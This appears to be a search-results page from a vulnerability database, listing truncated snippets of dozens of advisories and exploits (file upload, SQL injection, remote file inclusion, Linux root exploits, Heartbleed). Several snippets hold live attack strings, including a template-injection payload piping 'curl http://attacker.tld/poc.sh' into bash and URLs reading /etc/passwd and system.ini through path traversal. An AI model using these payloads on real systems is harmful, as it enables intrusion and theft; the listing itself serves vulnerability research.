56796 matches found
万户OA系统jsFileUpload.jsp文件上传漏洞
万户OA系统jsFileUpload.jsp存在文件上传漏洞 上传url： /defaultroot/workflow/jsFileUpload.jsp 该处只允许上传JSP文件，其它的文件不可以 文件位置： /defaultroot/devform/workflow/原上传文件名...
UBB.threads <= 6.5.1.1 (doeditconfig.php) Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? // UBB.threads Multiple input validation error // Discovered By : HACKERS PAL // Copy rights : HACKERS PAL // Website : http://www.soqor.net // Email Address : [email protected] // Tested on Version 6 6.5.1.1 and other...
Gitblit源代码库验证绕过漏洞
Gitblit是一个纯Java库用来管理、查看和处理Git资料库。 Gitblit存在验证绕过额外难题，远程攻击者可以利用漏洞使用非法伪造登录凭据克隆源代码库。 Gitblit 0.6.9 厂商解决方案 Gitblit 0.7已经修复此漏洞，建议用户下载使用： http://gitblit.com/...
Apache HTTP Server "ap_pregsub()"函数本地权限提升漏洞
BUGTRAQ ID: 50494 CVE ID: CVE-2011-3607 Apache HTTP Server是Apache软件基金会的一个开放源代码的网页服务器，可以在大多数电脑操作系统中运行，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。 Apache HTTP Server在"appregsub"函数的实现上存在本地权限提升漏洞，本地攻击者可利用此漏洞以提升的权限执行任意代码。 要触发此漏洞，需要启用modsetenvif，并且攻击者可以在受影响服务器中放置恶意的.htaccess文件。此漏洞源于 "appregsub" 函数 server/utils.c...
Ubuntu 14.04 LTS, 15.10 overlayfs - Local Root Exploit
No description provided by source. / just another overlayfs exploit, works on kernels before 2015-12-26 Exploit Title: overlayfs local root Date: 2016-01-05 Exploit Author: rebel Version: Ubuntu 14.04 LTS, 15.10 and more Tested on: Ubuntu 14.04 LTS, 15.10 CVE : CVE-2015-8660 blah@ubuntu:$ id...
An Analysis of the OpenSSL SSL Handshake Error State Security Bypass (CVE-2017-3737)
OpenSSL is a widely used library for SSL and TLS protocol implementation that secures data using encryption and decryption based on cryptographic functions. However, a Security Bypass vulnerability – recently addressed in a patch by the OpenSSL Project –can be exploited to make vulnerable SSL...
OpenVPN 2.2.29 - ShellShock Exploit
No description provided by source. Exploit Title: ShellShock OpenVPN Exploit Date: Fri Oct 3 15:48:08 EDT 2014 Exploit Author: hobbily AKA @fj33r Version: 2.2.29 Tested on: Debian Linux CVE : CVE-2014-6271 Probably should of submitted this the day I tweeted it. server.conf port 1194 proto udp dev...
泛微E-office /E-mobile/flowsorce_page.php等20处 SQL注入漏洞
0x01漏洞简介 泛微E-office在以下20处存在SQL注入漏洞 1/E-mobile/flowdopage.php?diff=delete&RUNID=1 //参数RUNID 2/E-mobile/flowdopage.php?diff=delete&flowid=1 //参数flowid 3/E-mobile/flowsorcepage.php?flowid=2 4/E-mobile/flownextpage.php?diff=candeal&detailid=2 5/E-mobile/flowimagepage.php?FLOWID=2...
jeecms V2.4.2 ArtiSearch.do 远程命令执行漏洞
0x01 框架概述 江西金磊科技发展有限公司（以下简称金磊科技）成立于2003年，旗下产品JEECMS内容管理系统是国内java开源CMS行业知名度最高、用户量最大的站群管理系统。金磊科技是一家专注java WEB应用软件研发高新技术企业。Jeecms是基于java技术研发的站群管理系统，稳定、安全、高效、跨平台、 无限扩展是jeecms 的优点，系统支持mysql、oracle、sqlserver、db2等主流 数据库。 主页：http://www.jeecms.com 0x02 漏洞细节 谷歌搜索：inurl:jeecms/ArtiSearch.do 涉及大量案例 漏洞证明：...
ProFTPD mod_tls模块CA SSL证书验证漏洞
BUGTRAQ ID: 36804 CVE ID: CVE-2009-3639 ProFTPD是一款开放源代码FTP服务程序。 ProFTPD的modtls模块没有正确地处理X.509证书主题通用名称（CN）字段域名中的空字符（\0），在处理包含有空字符的证书字段时错误地将空字符处理为截止字符，因此只会验证空字符前的部分。例如，对于类似于以下的名称： example.com\0.haxx.se 证书是发布给haxx.se的，但modtls模块错误的验证给example.com，这有助于攻击者通过中间人攻击执行网络钓鱼等欺骗。 必须满足以下modtls配置的情况下服务器才受这个漏洞影响：...
Mambo Open Source 4.5/4.6 mod_mainmenu.php Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9445/info It has been reported that Mambo Open Source may be prone to a remote file include vulnerability that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a...
Pulse Connect Secure 授权 RCE (CVE-2021-22937) 漏洞
...
Microsoft Office 内存损坏漏洞(CVE-2015-1641)
来源： http://drops.wooyun.org/papers/9809 Microsoft Office 内存损坏漏洞 0x01 漏洞概述 今年4月份微软修补了一个名为CVE-2015-1641的word类型混淆漏洞，攻击者可以构造嵌入了docx的rtf文档进行攻击。word在解析docx文档处理displacedByCustomXML属性时未对customXML对象进行验证，可以传入其他标签对象进行处理，造成类型混淆，导致任意内存写入，最终经过精心构造的标签以及对应的属性值可以造成远程任意代码执行。 根据微软官方MS15-33安全公告里显示，这个漏洞覆盖Office 2007...
Etcd REST API 未授权访问漏洞
From an application security perspective databases are the most valuable parts of our systems. They store the data that gives value to our apps and companies. This data which has been entrusted to us by our users should be kept safe and away of the hands of criminals. Every developer I talk to is...
Kangle虚拟主机本地文件包含漏洞
测试环境：kangle-3.3.9.msi，ep-2.6.4.exe（官方4-18日更新），windows XP 首先安装kangle server，然后安装easypanel，安装成功后访问http://127.0.0.1:3312/，会自动跳转到http://127.0.0.1:3312/vhost/?c=session&a=loginForm。 然后随便输入用户名密码登陆，如图发送的请求： 然后修改请求url中的参数c的值，将session改为： C=../../../../../../../../../../../windows/system.ini%00...
SugarCRM v6. 5. 23 PHP deserialize an object injection vulnerability
Author: p0wd3r know Chong Yu 404 security lab Date: 2016-09-12 0x00 vulnerability overview 1. Vulnerability description SugarCRM（http://www.sugarcrm.com/ is a set of open source Customer Relationship Management System. Recent researchers found in its=6.5.23 version exists in the deserialization...
MetInfo 6.0.0代码执行漏洞（后台直接拿shell）
...
用友致远A6 /yyoa/DownExcelBeanServlet 敏感信息泄露
用友致远A6协同系统 存在问题的链接： /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&perid=0 只有系统管理才有的权限，但是任意用户都可以访问。 可以下载所有员工的个人信息，包括身份证、联系方式、职位等敏感信息。 以某公司为例子，直接访问： http://oa.juntongtongxin.com/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&perid=0...
Ehcache RMI 远程代码执行漏洞( CVE-2020-36239)
...
Dahua DVR 2.608.0000.0 and 2.608.GV00.0 - Authentication Bypass
No description provided by source. Dahua DVR Authentication Bypass - CVE-2013-6117 --Summary-- Dahua web-enabled DVRs and rebranded versions do not enforce authentication on their administrative services. Zhejiang Dahua Technology Co., Ltd. http://www.dahuasecurity.com --Affects-- Dahua web-enabl...
Joomla Webring Component <= 1.0 - Remote Include Vulnerability
No description provided by source. C Y BE R - W A R R i O R T I M Joomla Webring Component componentdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: in admin.webring.docs.php, line 12 requireonce $componentdir. mungdocs.class.php; Google...
Heartbleed OpenSSL - Information Leak Exploit (2) - DTLS Support
No description provided by source. / CVE-2014-0160 heartbleed OpenSSL information leak exploit ========================================================= This exploit uses OpenSSL to create an encrypted connection and trigger the heartbleed leak. The leaked information is returned within encrypted...
实战绕过云锁(1.3.145)进行注入测试绕过技巧
简要描述： 这次来个实例 详细说明： @疯狗 感谢提示，参考zone http://zone.wooyun.org/content/16772 id=8E0union select ...这种方式 和id=8.0union select ... 漏洞证明： 本地搭建74cms web环境并把云锁所有防护打开。 下面注入点是把对应intval去掉后测试的 include/funwap.php function companyone$id global $db; $wheresql=" WHERE id=".$id;//这里 $sql = "select from...
Remote Code Execution in CouchDB(CVE-2017-12635)
There was a vulnerability in CouchDB caused by a discrepancy between the database’s native JSON parser and the Javascript JSON parser used during document validation. Because CouchDB databases are meant to be exposed directly to the internet, this enabled privilege escalation, and ultimately remo...
PHP-Nuke <= 7.9 Final (phpbb_root_path) Remote File Inclusions
No description provided by source. Milli-Harekat Advisory www.milli-harekat.org PHP-Nuke = All version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : PHP NUKE ALL VERSION Credits : ERNE Thanks : DjReMix,Eskobar,TRIP,ßy KorsaN,OsL3m7,Poizonbox,Dilejyoner and All MHG USER...
Microsoft SharePoint Server 2007 XSS Vulnerability
No description provided by source. Vulnerability ID: HTB22350 Reference: http://www.htbridge.ch/advisory/xssinmicrosoftsharepointserver2007.html http://www.microsoft.com/technet/security/advisory/983438.mspx Product: Microsoft SharePoint Server 2007 Vendor: Microsoft Corporation Vulnerable Versio...
某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令
简要描述： 某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令； 详细说明： 爱觅桔智能搜索引擎是中科汇联自主研发的“提供知识的搜索引擎”,首创知识图谱关联、百姓体匹配、智能引导、自定义框计算等特色搜索服务功能,采用语义理解技术、机器学习技术,实现智能搜索、文档搜索、多媒体搜索功能。 漏洞一：第三方组件调用未进行授权访问 网站调用了jquery 显示本地文件的插件 jQuery File Tree： 文件分别为 jquery.js jquery核心库 jqueryFileTree.js （jqueryFileTree核心库） jqueryFileTree.jsp...
Sendmail CA SSL证书验证漏洞
BUGTRAQ ID: 37543 CVE ID: CVE-2009-4565 Sendmail是很多大型站点都在使用的邮件传输代理（MTA）。 Sendmail没有正确地验证X.509证书主题的通用名称（CN）字段的域名中的空字符（\0），在处理包含有空字符的证书字段时错误地将空字符处理为截止字符，因此只会验证空字符前的部分。例如，对于类似于以下的名称： example.com\0.haxx.se...
Pivot 1.0 - Remote module_db.PHP File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10553/info It has been reported that Pivot is affected by a remote file include vulnerability contained within the moduledb.php script. This issue is due to a failure of the application to properly sanitize user-supplied...
webSPELL 4.2.0c Bypass BBCode XSS Cookie Stealing Vulnerability
No description provided by source. || || || -----------------------------------------\ == -- ----------- ---------------------------- ------------------/ ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O PROUD TO BE SPANISH! -------------------...
Vacron NVR Remote Command Execution
Vulnerability Summary The following advisory describes a remote command execution vulnerability. VACRON Specializing in “various types of mobile monitoring, CCTV monitoring system, IP remote image monitoring system monitoring and other related production, and can accept ODM, OEM and other...
FileSeek CGI Script File Disclosure Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6784/info FileSeek is an example cgi-script from The CGI/Perl Cookbook from John Wiley & Sons. The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server...
Microsoft IIS FTP服务器递归列表拒绝服务漏洞(MS09-053)
BUGTRAQ ID: 36273 CVE ID: CVE-2009-2521 Microsoft Internet信息服务（IIS）是Microsoft Windows自带的一个网络信息服务器，其中包含HTTP服务功能。 IIS的FTPd的Glob功能在处理递归目录列表请求时存在栈溢出漏洞，拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符（如“”）的请求触发这个溢出，导致FTP服务崩溃。 Microsoft IIS 7.0 Microsoft IIS 6.0 Microsoft IIS 5.1 Microsoft IIS 5.0 临时解决方法：...
Dotproject 2.0 /modules/projects/vw_files.php dPconfig[root_dir] Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/16648/info Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issues to includ...
zenphoto 1.4.3.3 - Multiple Vulnerabilities
No description provided by source. waraxe-2012-SA096 - Multiple Vulnerabilities in Zenphoto 1.4.3.3 =============================================================================== Author: Janek Vind waraxe Date: 03. November 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-96.html...
冰峰VPN /log/system.log 敏感信息泄漏漏洞
由于“ICEFLOW VPN Router”设备产品存在各种日志文件未授权访问可导致系统敏感信息泄漏。（包括登录成功后的session值） 系统日志http://url/log/system.log VPN日志http://url/log/vpn.log 移动用户日志http://url/log/mobile.log 防火墙日志http://url/log/firewall.log 访问日志http://url/log/access.log 告警日志http://url/log/warn.log 错误日志http://url/log/error.log...
zzzcms zzzphp parserIfLabel模板注入远程执行代码漏洞（CVE-2021-32605）
curl -b 'keys=if:=curl http://attacker.tld/poc.sh|bashend if' 'http://target.tld/?location=search'...
Eclipse Jetty 信息泄露漏洞（CVE-2021-28169）
...
用友某系统漏洞(SSRF&Java反序列化命令执行漏洞)
简要描述： 1.SSRF内网信息嗅探； 2.Java反序列化命令执行：获取系统权限。 详细说明： 用友私有云运营中心 http://219.232.202.154:8080//home 部署的weblogic： 漏洞证明： 1.SSRF 默认搜索页面存在： 结合http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html，以localhost为例进行测试： 2.Java反序列化命令执行 测试EXP:...
ASUS RT-N16 - Text-plain Admin Password Disclosure
Description ----------- Several ASUS routers include reflected Cross-Site Scripting CWE-79 and authentication bypass CWE-592 vulnerabilities. An attacker who can lure a victim to browse to a web site containing a specially crafted JavaScript payload can execute arbitrary commands on the router as...
Nixu NameSurfer多个安全漏洞
CVE ID:CVE-2014-0060、CVE-2014-0061、CVE-2014-0062、CVE-2014-0063、CVE-2014-0064、CVE-2014-0065、CVE-2014-0066 Nixu NameSurfer是一个实现集中地址管理覆盖的IPAM软件应用解决方案。 Nixu NameSurfer存在多个安全漏洞： 1，部分输入在使用之前缺少过滤，允许攻击者利用漏洞注入恶意脚本或HTML代码，当恶意数据被查看时，可获取敏感信息或劫持用户会话。 2，解析XML实体时存在错误，允许攻击者利用特制的包含外部实体引用的XML文档来获取本地资源数据或消耗服务器资源。...
大汉版通JCMS内容管理系统任意文件下载漏洞
简要描述： 多处任意文件下载，影响版本未知，大概都影响吧。 详细说明： 1. http://target/jcms/m59/sendreport/downfile.jsp?filename=/etc/passwd&savename=passwd.txt 要得到网站路径，访问：http://target/jcms/m59/sendreport/，然后生成报表就看得到了。 2...
PHPOpenChat 2.3.4/3.0.1 PoC.php Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/12817/info PHPOpenChat is prone to multiple remote file-include vulnerabilities. An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the...
TRSWCM 后台权限绕过以及GETSHELL漏洞
简要描述： TRS WCM大于v6版本中存在此漏洞，v5.X版本不存在。无需登录。 详细说明： 注：该漏洞目前影响大量站点，担心厂商忽略导致漏洞细节提前曝光，请管理员同学转至cncert国家互联网应急中心进行处理，多谢。 在/WEB-INF/web.xml中代码如下： govcontroller com.trs.webframework.controler.servlet.NoLoginServiceControler AllowIP 127.0.0.1 CurrUser admin RedirectURI /center.do govcontroller /govcenter.do...
Coppermine Photo Gallery 1.x theme.php Multiple Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/10253/info Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly...
DokuWiki fetch.php SSRF vulnerability
Author: baolongniucow protection Dragon About DokuWiki DokuWiki is an open source wiki engine program, running on PHP environment. DokuWiki program small but powerful, flexible, suitable for small teams and personal web site Knowledge Base management. Vulnerability description DokuWiki latest...
AJ HYIP ACME (news.php id) Remote SQL Injection Vulnerability
No description provided by source. HYIP ACME Version SQL Injection Vulnerability ======================================================== Author: Hussin X = = Home : www.tryag.cc/cc = = email: darkangelg85atYahooDoTcom = hussin.xathotmailDoTcom = =...
泛微 OA sysinterface/codeEdit.jsp 页面任意文件上传
0x01 漏洞概述 相关厂商： 泛微OA 官方主页： http://www.weaver.com.cn/ 公开时间： 2015-11-25 漏洞类型： 非授权访问/权限绕过 无需登录上传文件。 http://localhost:8088/sysinterface/codeEdit.jsp?filename=5308.java&filetype=java filename为文件名称 为空时会自动创建。 0x02 漏洞利用 代码详情 String fileid = "Ewv"; String readonly = ""; boolean isCreate = false;...
iMesh <= 7.1.0.x (IMWeb.dll 7.0.0.x) Remote Heap Overflow Exploit
No description provided by source. !-- iMesh = 7.1.0.x IMWebControl Class IMWeb.dll 7.0.0.x remote heap exploit IE7/XP full patched by rgod, site: http://retrogod.altervista.org/ software site: http://www.imesh.com "iMesh is a file sharing and online social network. It uses a proprietary,...